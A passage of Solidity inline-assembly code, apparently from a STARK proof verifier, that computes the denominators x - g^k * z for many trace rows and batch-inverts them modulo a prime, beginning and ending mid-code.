add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x5a0))) mstore(add(productsPtr, 0x260), partialProduct) mstore(add(valuesPtr, 0x260), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 20: x - g^20 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x5c0))) mstore(add(productsPtr, 0x280), partialProduct) mstore(add(valuesPtr, 0x280), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 27: x - g^27 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x5e0))) mstore(add(productsPtr, 0x2a0), partialProduct) mstore(add(valuesPtr, 0x2a0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 28: x - g^28 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x600))) mstore(add(productsPtr, 0x2c0), partialProduct) mstore(add(valuesPtr, 0x2c0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 33: x - g^33 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x620))) mstore(add(productsPtr, 0x2e0), partialProduct) mstore(add(valuesPtr, 0x2e0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 34: x - g^34 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x640))) mstore(add(productsPtr, 0x300), partialProduct) mstore(add(valuesPtr, 0x300), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 36: x - g^36 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x660))) mstore(add(productsPtr, 0x320), partialProduct) mstore(add(valuesPtr, 0x320), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 44: x - g^44 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x680))) mstore(add(productsPtr, 0x340), partialProduct) mstore(add(valuesPtr, 0x340), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 49: x - g^49 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x6a0))) mstore(add(productsPtr, 0x360), partialProduct) mstore(add(valuesPtr, 0x360), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 52: x - g^52 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x6c0))) mstore(add(productsPtr, 0x380), partialProduct) mstore(add(valuesPtr, 0x380), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 60: x - g^60 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x6e0))) mstore(add(productsPtr, 0x3a0), partialProduct) mstore(add(valuesPtr, 0x3a0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 65: x - g^65 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x700))) mstore(add(productsPtr, 0x3c0), partialProduct) mstore(add(valuesPtr, 0x3c0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 66: x - g^66 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x720))) mstore(add(productsPtr, 0x3e0), partialProduct) mstore(add(valuesPtr, 0x3e0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 68: x - g^68 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x740))) mstore(add(productsPtr, 0x400), partialProduct) mstore(add(valuesPtr, 0x400), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 70: x - g^70 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x760))) mstore(add(productsPtr, 0x420), partialProduct) mstore(add(valuesPtr, 0x420), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 71: x - g^71 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x780))) mstore(add(productsPtr, 0x440), partialProduct) mstore(add(valuesPtr, 0x440), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 76: x - g^76 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x7a0))) mstore(add(productsPtr, 0x460), partialProduct) mstore(add(valuesPtr, 0x460), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 81: x - g^81 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x7c0))) mstore(add(productsPtr, 0x480), partialProduct) mstore(add(valuesPtr, 0x480), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 82: x - g^82 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x7e0))) mstore(add(productsPtr, 0x4a0), partialProduct) mstore(add(valuesPtr, 0x4a0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 92: x - g^92 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x800))) mstore(add(productsPtr, 0x4c0), partialProduct) mstore(add(valuesPtr, 0x4c0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 97: x - g^97 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x820))) mstore(add(productsPtr, 0x4e0), partialProduct) mstore(add(valuesPtr, 0x4e0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 98: x - g^98 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x840))) mstore(add(productsPtr, 0x500), partialProduct) mstore(add(valuesPtr, 0x500), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 100: x - g^100 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x860))) mstore(add(productsPtr, 0x520), partialProduct) mstore(add(valuesPtr, 0x520), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 108: x - g^108 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x880))) mstore(add(productsPtr, 0x540), partialProduct) mstore(add(valuesPtr, 0x540), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 113: x - g^113 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x8a0))) mstore(add(productsPtr, 0x560), partialProduct) mstore(add(valuesPtr, 0x560), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 116: x - g^116 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x8c0))) mstore(add(productsPtr, 0x580), partialProduct) mstore(add(valuesPtr, 0x580), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 129: x - g^129 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x8e0))) mstore(add(productsPtr, 0x5a0), partialProduct) mstore(add(valuesPtr, 0x5a0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 130: x - g^130 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x900))) mstore(add(productsPtr, 0x5c0), partialProduct) mstore(add(valuesPtr, 0x5c0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 134: x - g^134 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x920))) mstore(add(productsPtr, 0x5e0), partialProduct) mstore(add(valuesPtr, 0x5e0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 135: x - g^135 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x940))) mstore(add(productsPtr, 0x600), partialProduct) mstore(add(valuesPtr, 0x600), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 140: x - g^140 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x960))) mstore(add(productsPtr, 0x620), partialProduct) mstore(add(valuesPtr, 0x620), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 145: x - g^145 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x980))) mstore(add(productsPtr, 0x640), partialProduct) mstore(add(valuesPtr, 0x640), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 161: x - g^161 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x9a0))) mstore(add(productsPtr, 0x660), partialProduct) mstore(add(valuesPtr, 0x660), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 172: x - g^172 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x9c0))) mstore(add(productsPtr, 0x680), partialProduct) mstore(add(valuesPtr, 0x680), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 177: x - g^177 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x9e0))) mstore(add(productsPtr, 0x6a0), partialProduct) mstore(add(valuesPtr, 0x6a0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 192: x - g^192 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xa00))) mstore(add(productsPtr, 0x6c0), partialProduct) mstore(add(valuesPtr, 0x6c0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 193: x - g^193 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xa20))) mstore(add(productsPtr, 0x6e0), partialProduct) mstore(add(valuesPtr, 0x6e0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 194: x - g^194 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xa40))) mstore(add(productsPtr, 0x700), partialProduct) mstore(add(valuesPtr, 0x700), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 196: x - g^196 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xa60))) mstore(add(productsPtr, 0x720), partialProduct) mstore(add(valuesPtr, 0x720), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 197: x - g^197 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xa80))) mstore(add(productsPtr, 0x740), partialProduct) mstore(add(valuesPtr, 0x740), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 198: x - g^198 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xaa0))) mstore(add(productsPtr, 0x760), partialProduct) mstore(add(valuesPtr, 0x760), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 199: x - g^199 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xac0))) mstore(add(productsPtr, 0x780), partialProduct) mstore(add(valuesPtr, 0x780), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 204: x - g^204 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xae0))) mstore(add(productsPtr, 0x7a0), partialProduct) mstore(add(valuesPtr, 0x7a0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 209: x - g^209 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xb00))) mstore(add(productsPtr, 0x7c0), partialProduct) mstore(add(valuesPtr, 0x7c0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 225: x - g^225 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xb20))) mstore(add(productsPtr, 0x7e0), partialProduct) mstore(add(valuesPtr, 0x7e0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 226: x - g^226 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xb40))) mstore(add(productsPtr, 0x800), partialProduct) mstore(add(valuesPtr, 0x800), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 236: x - g^236 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xb60))) mstore(add(productsPtr, 0x820), partialProduct) mstore(add(valuesPtr, 0x820), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 241: x - g^241 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xb80))) mstore(add(productsPtr, 0x840), partialProduct) mstore(add(valuesPtr, 0x840), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 251: x - g^251 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xba0))) mstore(add(productsPtr, 0x860), partialProduct) mstore(add(valuesPtr, 0x860), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 252: x - g^252 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xbc0))) mstore(add(productsPtr, 0x880), partialProduct) mstore(add(valuesPtr, 0x880), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 255: x - g^255 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xbe0))) mstore(add(productsPtr, 0x8a0), partialProduct) mstore(add(valuesPtr, 0x8a0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 256: x - g^256 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xc00))) mstore(add(productsPtr, 0x8c0), partialProduct) mstore(add(valuesPtr, 0x8c0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 257: x - g^257 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xc20))) mstore(add(productsPtr, 0x8e0), partialProduct) mstore(add(valuesPtr, 0x8e0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 262: x - g^262 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xc40))) mstore(add(productsPtr, 0x900), partialProduct) mstore(add(valuesPtr, 0x900), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 263: x - g^263 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xc60))) mstore(add(productsPtr, 0x920), partialProduct) mstore(add(valuesPtr, 0x920), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 265: x - g^265 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xc80))) mstore(add(productsPtr, 0x940), partialProduct) mstore(add(valuesPtr, 0x940), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 326: x - g^326 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xca0))) mstore(add(productsPtr, 0x960), partialProduct) mstore(add(valuesPtr, 0x960), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 390: x - g^390 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xcc0))) mstore(add(productsPtr, 0x980), partialProduct) mstore(add(valuesPtr, 0x980), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 391: x - g^391 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xce0))) mstore(add(productsPtr, 0x9a0), partialProduct) mstore(add(valuesPtr, 0x9a0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 454: x - g^454 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xd00))) mstore(add(productsPtr, 0x9c0), partialProduct) mstore(add(valuesPtr, 0x9c0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 511: x - g^511 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xd20))) mstore(add(productsPtr, 0x9e0), partialProduct) mstore(add(valuesPtr, 0x9e0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 513: x - g^513 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xd40))) mstore(add(productsPtr, 0xa00), partialProduct) mstore(add(valuesPtr, 0xa00), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 518: x - g^518 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xd60))) mstore(add(productsPtr, 0xa20), partialProduct) mstore(add(valuesPtr, 0xa20), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 521: x - g^521 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xd80))) mstore(add(productsPtr, 0xa40), partialProduct) mstore(add(valuesPtr, 0xa40), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 705: x - g^705 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xda0))) mstore(add(productsPtr, 0xa60), partialProduct) mstore(add(valuesPtr, 0xa60), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 711: x - g^711 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xdc0))) mstore(add(productsPtr, 0xa80), partialProduct) mstore(add(valuesPtr, 0xa80), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 721: x - g^721 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xde0))) mstore(add(productsPtr, 0xaa0), partialProduct) mstore(add(valuesPtr, 0xaa0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 737: x - g^737 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xe00))) mstore(add(productsPtr, 0xac0), partialProduct) mstore(add(valuesPtr, 0xac0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 753: x - g^753 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xe20))) mstore(add(productsPtr, 0xae0), partialProduct) mstore(add(valuesPtr, 0xae0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 769: x - g^769 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xe40))) mstore(add(productsPtr, 0xb00), partialProduct) mstore(add(valuesPtr, 0xb00), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 777: x - g^777 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xe60))) mstore(add(productsPtr, 0xb20), partialProduct) mstore(add(valuesPtr, 0xb20), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 902: x - g^902 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xe80))) mstore(add(productsPtr, 0xb40), partialProduct) mstore(add(valuesPtr, 0xb40), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 903: x - g^903 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xea0))) mstore(add(productsPtr, 0xb60), partialProduct) mstore(add(valuesPtr, 0xb60), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 961: x - g^961 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xec0))) mstore(add(productsPtr, 0xb80), partialProduct) mstore(add(valuesPtr, 0xb80), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 966: x - g^966 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xee0))) mstore(add(productsPtr, 0xba0), partialProduct) mstore(add(valuesPtr, 0xba0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 967: x - g^967 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xf00))) mstore(add(productsPtr, 0xbc0), partialProduct) mstore(add(valuesPtr, 0xbc0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 977: x - g^977 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xf20))) mstore(add(productsPtr, 0xbe0), partialProduct) mstore(add(valuesPtr, 0xbe0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 993: x - g^993 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xf40))) mstore(add(productsPtr, 0xc00), partialProduct) mstore(add(valuesPtr, 0xc00), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 1009: x - g^1009 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xf60))) mstore(add(productsPtr, 0xc20), partialProduct) mstore(add(valuesPtr, 0xc20), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 1222: x - g^1222 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xf80))) mstore(add(productsPtr, 0xc40), partialProduct) mstore(add(valuesPtr, 0xc40), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 16332: x - g^16332 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xfa0))) mstore(add(productsPtr, 0xc60), partialProduct) mstore(add(valuesPtr, 0xc60), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 16340: x - g^16340 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xfc0))) mstore(add(productsPtr, 0xc80), partialProduct) mstore(add(valuesPtr, 0xc80), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 16364: x - g^16364 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0xfe0))) mstore(add(productsPtr, 0xca0), partialProduct) mstore(add(valuesPtr, 0xca0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 16372: x - g^16372 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x1000))) mstore(add(productsPtr, 0xcc0), partialProduct) mstore(add(valuesPtr, 0xcc0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 16380: x - g^16380 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x1020))) mstore(add(productsPtr, 0xce0), partialProduct) mstore(add(valuesPtr, 0xce0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 16388: x - g^16388 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x1040))) mstore(add(productsPtr, 0xd00), partialProduct) mstore(add(valuesPtr, 0xd00), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 16420: x - g^16420 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x1060))) mstore(add(productsPtr, 0xd20), partialProduct) mstore(add(valuesPtr, 0xd20), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 16774: x - g^16774 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x1080))) mstore(add(productsPtr, 0xd40), partialProduct) mstore(add(valuesPtr, 0xd40), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 16775: x - g^16775 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x10a0))) mstore(add(productsPtr, 0xd60), partialProduct) mstore(add(valuesPtr, 0xd60), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 32642: x - g^32642 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x10c0))) mstore(add(productsPtr, 0xd80), partialProduct) mstore(add(valuesPtr, 0xd80), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 32658: x - g^32658 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x10e0))) mstore(add(productsPtr, 0xda0), partialProduct) mstore(add(valuesPtr, 0xda0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 32674: x - g^32674 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x1100))) mstore(add(productsPtr, 0xdc0), partialProduct) mstore(add(valuesPtr, 0xdc0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 32706: x - g^32706 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x1120))) mstore(add(productsPtr, 0xde0), partialProduct) mstore(add(valuesPtr, 0xde0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 32716: x - g^32716 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x1140))) mstore(add(productsPtr, 0xe00), partialProduct) mstore(add(valuesPtr, 0xe00), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 32748: x - g^32748 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x1160))) mstore(add(productsPtr, 0xe20), partialProduct) mstore(add(valuesPtr, 0xe20), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 32756: x - g^32756 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x1180))) mstore(add(productsPtr, 0xe40), partialProduct) mstore(add(valuesPtr, 0xe40), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 32764: x - g^32764 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x11a0))) mstore(add(productsPtr, 0xe60), partialProduct) mstore(add(valuesPtr, 0xe60), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate denominator for row 33158: x - g^33158 * z. let denominator := add(shiftedEvalPoint, mload(add(expmodsAndPoints, 0x11c0))) mstore(add(productsPtr, 0xe80), partialProduct) mstore(add(valuesPtr, 0xe80), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } { // Calculate the denominator for the composition polynomial columns: x - z^2. let denominator := add(shiftedEvalPoint, minusPointPow) mstore(add(productsPtr, 0xea0), partialProduct) mstore(add(valuesPtr, 0xea0), denominator) partialProduct := mulmod(partialProduct, denominator, PRIME) } // Add evalPoint to batch inverse inputs. // inverse(evalPoint) is going to be used by FRI. mstore(add(productsPtr, 0xec0), partialProduct) mstore(add(valuesPtr, 0xec0), evalPoint) partialProduct := mulmod(partialProduct, evalPoint, PRIME) // Advance pointers. productsPtr := add(productsPtr, 0xee0) valuesPtr := add(valuesPtr, 0xee0) } let firstPartialProductPtr := add(batchInverseArray, 0x20) // Compute the inverse of the product. let prodInv := expmod(partialProduct, sub(PRIME, 2), PRIME) if eq(prodInv, 0) { // Solidity generates reverts with reason that look as follows: // 1. 4 bytes with the constant 0x08c379a0 (== Keccak256(b'Error(string)')[:4]). // 2. 32 bytes offset bytes (always 0x20 as far as i can tell). // 3. 32 bytes with the length of the revert reason. // 4. Revert reason string. mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000) mstore(0x4, 0x20) mstore(0x24, 0x1e) mstore(0x44, "Batch inverse product is zero.") revert(0, 0x62) } // Compute the inverses. // Loop over denominator_invs in reverse order. // currentPartialProductPtr is initialized to one past the end. let currentPartialProductPtr := productsPtr // Loop in blocks of size 8 as much as possible: we can loop over a full block as long as // currentPartialProductPtr >= firstPartialProductPtr + 8*0x20, or equivalently, // currentPartialProductPtr > firstPartialProductPtr + 7*0x20. // We use the latter comparison since there is no >= evm opcode. let midPartialProductPtr := add(firstPartialProductPtr, 0xe0) for { } gt(currentPartialProductPtr, midPartialProductPtr) { } { currentPartialProductPtr := sub(currentPartialProductPtr, 0x20) // Store 1/d_{i} = (d_0 * ... * d_{i-1}) * 1/(d_0 * ... * d_{i}). mstore(currentPartialProductPtr, mulmod(mload(currentPartialProductPtr), prodInv, PRIME)) // Update prodInv to be 1/(d_0 * ... * d_{i-1}) by multiplying by d_i. prodInv := mulmod(prodInv, mload(add(currentPartialProductPtr, productsToValuesOffset)), PRIME) currentPartialProductPtr := sub(currentPartialProductPtr, 0x20) // Store 1/d_{i} = (d_0 * ... * d_{i-1}) * 1/(d_0 * ... * d_{i}). mstore(currentPartialProductPtr, mulmod(mload(currentPartialProductPtr), prodInv, PRIME)) // Update prodInv to be 1/(d_0 * ... * d_{i-1}) by multiplying by d_i. prodInv := mulmod(prodInv, mload(add(currentPartialProductPtr, productsToValuesOffset)), PRIME) currentPartialProductPtr := sub(currentPartialProductPtr, 0x20) // Store 1/d_{i} = (d_0 * ... * d_{i-1}) * 1/(d_0 * ... * d_{i}). mstore(currentPartialProductPtr, mulmod(mload(currentPartialProductPtr), prodInv, PRIME)) // Update prodInv to be 1/(d_0 * ... * d_{i-1}) by multiplying by d_i. prodInv := mulmod(prodInv, mload(add(currentPartialProductPtr, productsToValuesOffset)), PRIME) currentPartialProductPtr := sub(currentPartialProductPtr, 0x20) // Store 1/d_{i} = (d_0 * ... * d_{i-1}) * 1/(d_0 * ... * d_{i}). mstore(currentPartialProductPtr, 